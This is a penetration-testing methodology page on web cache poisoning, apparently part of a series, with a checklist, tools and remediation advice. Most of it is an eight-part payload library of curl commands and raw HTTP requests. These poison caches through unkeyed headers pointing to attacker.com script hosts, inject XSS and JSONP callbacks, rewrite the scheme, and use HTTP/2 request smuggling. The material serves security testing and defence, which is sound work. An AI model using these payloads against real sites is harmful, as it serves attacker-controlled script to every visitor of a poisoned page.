Web Cache Poisoning
Severity: High–Critical | CWE: CWE-346, CWE-116 OWASP: A05:2021 – Security Misconfiguration
What Is Web Cache Poisoning?
A cache stores responses keyed by URL + headers. Poisoning works by injecting malicious content into a cached response that is then served to all users requesting the same URL. Key concept: cache key (what identifies a unique cache entry) vs unkeyed inputs (headers/params that affect the response but aren’t in the cache key).
Normal user:
GET /?q=test HTTP/1.1
Host: target.com
→ Response: normal content → cached as key: target.com/?q=test
Attacker:
GET /?q=test HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com ← unkeyed header (not in cache key)
→ Response reflects: <script src="//attacker.com/evil.js"> → CACHED
Next user:
GET /?q=test HTTP/1.1
Host: target.com
→ Gets cached malicious response → XSS/redirect
Discovery Checklist
- Identify caching infrastructure: Varnish, CloudFront, Nginx, Akamai, Fastly, Cloudflare, Squid
- Check for cache headers:
Cache-Control,X-Cache,Age,Cf-Cache-Status,X-Varnish - Use Param Miner (Burp) to discover unkeyed headers
- Test
X-Forwarded-Host,X-Host,X-Forwarded-Scheme - Test unkeyed query parameters (cache ignores
?utm_source=,?callback=,?_=) - Test fat GET (body in GET request — some caches ignore body)
- Test
Varyheader — does cache vary on specific headers? - Test HTTP method override (POST-to-GET via
X-HTTP-Method-Override) - Test path normalization:
/pathvs/path/vs/path// - Verify poisoning by requesting without special headers (should get poisoned response)
Payload Library
Attack 1 — XSS via Unkeyed X-Forwarded-Host
# Test if X-Forwarded-Host affects response (reflected in URLs):
curl -s https://target.com/ \
-H "X-Forwarded-Host: attacker.com" | grep -i "attacker"
# If reflected: poison with XSS payload host:
curl -s https://target.com/ \
-H "X-Forwarded-Host: attacker.com\" onerror=\"alert(1)" | grep -i "attacker"
# Or: host a malicious script and inject it:
# Cache response with <script src="https://attacker.com/x.js">
curl -s https://target.com/ \
-H "X-Forwarded-Host: attacker.com" -H "Cache-Control: no-cache"
# Then verify poison: request WITHOUT the header
curl -s https://target.com/ | grep -i "attacker"
Attack 2 — Unkeyed Query Parameters
# Find parameters ignored by cache:
# Test: does adding ?utm_source=x get a different cache entry?
# utm_ parameters typically unkeyed:
curl -s "https://target.com/?utm_source=INJECTED" | grep -i "INJECTED"
# Callback parameters (JSONP):
curl -s "https://target.com/api/data?callback=INJECTED" | grep -i "INJECTED"
# If reflected: inject JS
curl -s "https://target.com/api/data?callback=alert(1)//" | grep -i "alert"
# Common unkeyed params to test:
?utm_source=evil
?utm_medium=evil
?utm_campaign=evil
?ref=evil
?_=evil
?nocache=evil
?v=evil
?callback=evil
?jsonp=evil
# Verify cache: send without param → should still get poisoned response
Attack 3 — Fat GET Body Injection
# Some caches key on URL only, but app reads GET body too:
# Body-based parameter override:
GET / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
param=CACHE_BUST_PAYLOAD_HERE
# Test with Burp Repeater:
# Send GET with body — if response reflects body content:
# → Cache keyed on URL only → poison the URL's cache entry
Attack 4 — Cache Key Normalization Issues
# Path normalization — different path, same cache entry:
/about → cached
/About → same cache entry? (case-insensitive)
/about/ → same entry? (trailing slash)
/about// → same entry?
/about;param=x → semicolon handling
# Delimiter confusion:
/api/users?role=user;admin # semicolon as secondary delimiter
/api/users?role=user%3badmin # URL-encoded semicolon
# Exploit: poison /about/ but all requests to /about get poisoned response
curl -s "https://target.com/about/" \
-H "X-Forwarded-Host: attacker.com"
# Verify: request /about (without slash) → poisoned?
Attack 5 — Scheme Poisoning
# X-Forwarded-Scheme injection — some caches don't key on this:
curl -s "https://target.com/" \
-H "X-Forwarded-Scheme: http" \
-H "X-Forwarded-Host: attacker.com"
# If app generates URLs based on scheme:
# Response includes: <base href="http://attacker.com/">
# → All relative URLs now load from attacker.com
# Test variants:
X-Forwarded-Proto: http
X-Forwarded-Protocol: http
X-Url-Scheme: javascript
Attack 6 — Cache Deception Difference (Confusion)
# Requests that include a static extension path are aggressively cached:
# If /account/profile is dynamic but:
# /account/profile.css is treated as static and cached
# → Access /account/profile.css → cache stores authenticated user data
# → Other users request /account/profile.css → get victim's data
# (This is Cache Deception — see 63_CacheDeception.md)
# Here: Cache Poisoning via path confusion:
# GET /account/../static/main.js HTTP/1.1 → resolved to /static/main.js
# But cache key is: /account/../static/main.js
# → Poison the "static" asset's cache entry with dynamic user data
Attack 7 — Vary Header Bypass
# Cache uses Vary: Accept-Encoding or Vary: Accept-Language
# Test: does changing Accept-Language affect response?
curl -s "https://target.com/" -H "Accept-Language: de" | grep -i "de\|german"
# If Accept-Language is unkeyed but affects response:
# Inject script in language parameter that doesn't exist:
Accept-Language: "><script>alert(1)</script>
Accept-Language: de, <script>alert(1)</script>
# If origin in Vary is ignored:
Origin: https://attacker.com
# But app reflects it in: Access-Control-Allow-Origin: https://attacker.com
# → Cache stores CORS-allowed response for attacker.com for all users
Attack 8 — HTTP/2 Request Smuggling → Cache Poison
# Combine smuggling with cache poisoning:
# Smuggle a request that poisons the cache for another URL
POST / HTTP/2
Host: target.com
Content-Length: 0
GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Length: 5
x=1
# The smuggled GET /home gets processed with X-Forwarded-Host: attacker.com
# Response gets cached under /home → all users get XSS
Tools
# Param Miner (Burp extension — essential):
# BApp Store → Param Miner
# Right-click request → Extensions → Param Miner → Guess Headers/Params
# Discovers unkeyed inputs automatically
# wcvs — web cache vulnerability scanner:
git clone https://github.com/nicowillis/wcvs
# Web-Cache-Vulnerability-Scanner:
go install github.com/Hackmanit/Web-Cache-Vulnerability-Scanner@latest
web-cache-vulnerability-scanner -u https://target.com/
# Manual cache poisoning workflow with curl:
# 1. Test if X-Forwarded-Host is reflected:
curl -s "https://target.com/" -H "X-Forwarded-Host: CANARY" | grep CANARY
# 2. Poison the cache:
curl -s "https://target.com/" -H "X-Forwarded-Host: attacker.com" \
-H "Cache-Control: no-cache"
# 3. Verify poison served from cache:
curl -s "https://target.com/" | grep "attacker.com"
# Also check: X-Cache: HIT
# Detect cache headers:
curl -sI "https://target.com/" | grep -iE "x-cache|age|cf-cache|via|server"
# Cloudflare cache status:
# CF-Cache-Status: HIT = served from cache
# CF-Cache-Status: MISS = not cached
# CF-Cache-Status: DYNAMIC = not eligible for caching
Remediation Reference
- Cache keying: include all request headers that affect response content in the cache key
Varyheader: useVary: *to prevent caching of responses that differ per-user- Strip dangerous headers before caching: remove
X-Forwarded-Host,X-Forwarded-Schemeat CDN/proxy edge - Never reflect unvalidated headers in responses that may be cached
- Cache-Control on sensitive responses:
Cache-Control: no-store, privatefor authenticated/personalized content - Separate caching tiers: static assets cacheable; dynamic/authenticated responses must not be cached
- Audit CDN configuration: verify which headers are keyed, which vary headers are respected
Part of the Web Application Penetration Testing Methodology series.